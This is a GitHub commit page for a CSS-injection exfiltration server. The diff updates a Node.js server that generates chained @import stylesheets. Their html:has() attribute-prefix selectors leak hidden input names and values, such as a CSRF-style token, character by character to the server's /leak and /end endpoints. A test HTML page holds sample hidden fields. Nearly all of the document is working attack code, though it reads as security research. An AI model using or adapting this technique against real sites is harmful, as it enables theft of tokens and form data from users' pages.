Skip to content

Commit

Permalink
Changed to timeout method. Updated test script
Browse files Browse the repository at this point in the history
  • Loading branch information
Gareth Heyes committed Nov 28, 2023
1 parent 311a9ca commit 368b67d
Show file tree
Hide file tree
Showing 2 changed files with 66 additions and 87 deletions.
147 changes: 60 additions & 87 deletions css-exfiltrator-server.js
Original file line number Diff line number Diff line change
Expand Up @@ -3,107 +3,71 @@ const url = require('url');
const port = 5001;

const HOSTNAME = "http://localhost:5001";
const ELEMENTS = ["input","textarea","form"];
const ATTRIBUTES = {__proto__:null,"input":["name","value"],"textarea":["name","value"],"form":["action"]};
const MAX_ELEMENTS = 20;
const MAX_VALUE_LEN = 32;
const MAX_FORMS = 4;
const MAX_FORM_ACTION_LEN = 50;
const ELEMENTS = ["input"];
//const ELEMENTS = ["input","textarea","form"];
//const ATTRIBUTES = {__proto__:null,"input":["name","value"],"textarea":["name"],"form":["action"]};
const ATTRIBUTES = {__proto__:null,"input":["name","value"]};
const MAX_ELEMENTS = 1;
const MAX_VALUE = 10;
const WAIT_TIME_MS = 1000;

const CHARS = String.fromCodePoint(32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126).split('');

var pending = [];
var stop = false, ready = 0, n = 0, prefixes = {__proto__:null};
var inputCount = 0, textareaCount = 0, formCount = 0, tokens = [];
var stop = false, n = 0, prefixes = {__proto__:null};
var tokens = [], foundToken = false;

const requestHandler = (request, response) => {
let req = url.parse(request.url, url);
if (stop) return response.end();
switch (req.pathname) {
case "/start":
completedCount = 0;
inputCount = 0;
textareaCount = 0;
formCount = 0;
n = 0;
tokens = [];
prefixes = {__proto__:null};
stop = false;
ready = 0;
stop = false;
pending = [];
foundToken = false;
genResponse(response);
break;
case "/logCount":
response.end();
if(req.query.inputCount) {
inputCount = req.query.inputCount;
}
if(req.query.textareaCount) {
textareaCount = req.query.textareaCount;
}
if(req.query.formCount) {
formCount = req.query.formCount;
}
break;
case "/leak":
response.end();
let hasChanged = false;
for (const [element, attributeList] of Object.entries(ATTRIBUTES)) {
for(const attribute of attributeList) {
const value = prefixes['p_'+element+attribute];
if(req.query['p_'+element+attribute] !== value) {
prefixes['p_'+element+attribute] = req.query['p_'+element+attribute];
hasChanged = true;
for(let element of ELEMENTS) {
for(let attribute of ATTRIBUTES[element]) {
for(let i=0;i<MAX_ELEMENTS;i++) {
if(n === +req.query.n) {
if(typeof req.query['p_'+element+attribute+i] !== 'undefined') {
if(typeof prefixes['p_'+element+attribute+i] === 'undefined') {
prefixes['p_'+element+attribute+i] = '';
}
prefixes['p_'+element+attribute+i] = req.query['p_'+element+attribute+i];
foundToken = true;
}
}
}
}
}
if (!hasChanged) {
break;
}
if (ready == 2) {
genResponse(pending.shift());
ready = 0;
} else {
ready++;
console.log('\tleak: waiting others...');
}
console.log('\tleak: waiting others...');
break;
case "/next":
if (ready == 2) {
genResponse(response);
ready = 0;
} else {
pending.push(response);
ready++;
console.log('\tquery: waiting others...');
}
pending.push(response);
console.log('\tquery: waiting others...');
setTimeout(x=>{
if(pending.length) {
if(foundToken) {
n++;
genResponse(pending.shift());
foundToken = false;
} else {
stop = true;
}
}
}, WAIT_TIME_MS);
break;
case "/end":
let total = inputCount + textareaCount + formCount;
let actualInputCount = 0, actualTextareaCount = 0, actualFormCount = 0, currentTextareaCount = 0, currentInputCount = 0;
for (const [element, attributeList] of Object.entries(ATTRIBUTES)) {
for(const attribute of attributeList) {
const value = tokens.find(e => e.element = element && e.attribute === attribute).token;
if(req.query['token'+element+attribute] !== value) {
let token = req.query['token'+element+attribute];
tokens.push({element,attribute,token});
if(element === 'form') {
actualFormCount++;
} else if(element === 'input') {
currentInputCount++;
} else if(element === 'textarea') {
currentTextareaCount++;
}
}
}
}

actualInputCount = Math.floor(currentInputCount / 2);
actualTextareaCount = Math.floor(currentTextareaCount / 2);

if(actual === total) {
stop = true;
console.log('[+] END: %s', tokens);
case "/end":
console.log('[+] END:', req.query.tokenName, req.query.tokenValue);
if(stop) {
response.end();
}
default:
response.end();
Expand All @@ -114,26 +78,35 @@ const genResponse = (response) => {
let css = '@import url('+ HOSTNAME + '/next?' + Date.now() + ');';
let properties = [];
for(let element of ELEMENTS) {
for(let attribute of ATTRIBUTES[element]) {
const variablePrefix = '--'+element[0]+'-'+attribute+'-';
const prefix = typeof prefixes['p_'+element+attribute] === 'undefined' ? "" : prefixes['p_'+element+attribute];
css += CHARS.map(e => ('html:has('+element+'['+attribute+'^="' + escapeCSS(prefix + e) + '"])' + '{'+variablePrefix+'s'+n+':url(' + HOSTNAME + '/leak?p_'+element+attribute+'=' + encodeURIComponent(prefix + e) +');}')).join('');
if(n === 0) {
for(let i=1;i<=(element === "form" ? MAX_FORM_ACTION_LEN : MAX_VALUE_LEN);i++) {
properties.push('var('+variablePrefix+'s'+n+',none)');
for(let attribute of ATTRIBUTES[element]) {
for(let i=0;i<MAX_ELEMENTS;i++) {
const variablePrefix = '--'+element+'-'+attribute+'-'+i+'-'+n;
if(typeof prefixes['p_'+element+attribute+i] === 'undefined') {
prefixes['p_'+element+attribute+i] = '';
}
properties.push('var('+variablePrefix+'full-token,none)');
const prefix = prefixes['p_'+element+attribute+i];
css += CHARS.map(e => ('html:has('+element+'['+attribute+'^="' + escapeCSS(prefix + e) + '"])' + '{'+variablePrefix+'s:url(' + HOSTNAME + '/leak?t='+Date.now()+'&n='+n+'&p_'+element+attribute+i+'=' + encodeURIComponent(prefix + e) +');}')).join('');
css += 'html:has(['+attribute+'="'+ prefix + '"]){'+variablePrefix+'full-token:url(' + HOSTNAME + '/end?tokenName='+element+attribute+i+'&tokenValue=' + encodeURIComponent(prefix) + ');}';
}
css += 'html:has(['+attribute+'="'+ prefix + '"]){'+variablePrefix+'full-token:url(' + HOSTNAME + '/end?token'+element+attribute+'=' + encodeURIComponent(prefix) + ');}';
}
}
if(n === 0) {
for(let element of ELEMENTS) {
for(let attribute of ATTRIBUTES[element]) {
for(let i=0;i<MAX_ELEMENTS;i++) {
for(let j=0;j<MAX_VALUE;j++) {
const variablePrefix = '--'+element+'-'+attribute+'-'+i+'-'+j;
properties.push('var('+variablePrefix+'s,none)');
properties.push('var('+variablePrefix+'full-token,none)');
}
}
}
}
css += `html{background:${properties.join(',')};}`;
}
response.writeHead(200, { 'Content-Type': 'text/css'});
response.write(css);
response.end();
n++;
}

const server = http.createServer(requestHandler)
Expand Down
6 changes: 6 additions & 0 deletions test.html
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,12 @@
<div>
<input type="hidden" name="mytoken" value="ddaf35a193617abacc417349ae204">
</div>
<div>
<input type="text" name="first_name" value="Gareth">
</div>
<div>
<input type="text" name="last_name" value="Heyes">
</div>
<div>
<input type="hidden" name="email" value="[email protected]">
</div>
Expand Down

0 comments on commit 368b67d

Please sign in to comment.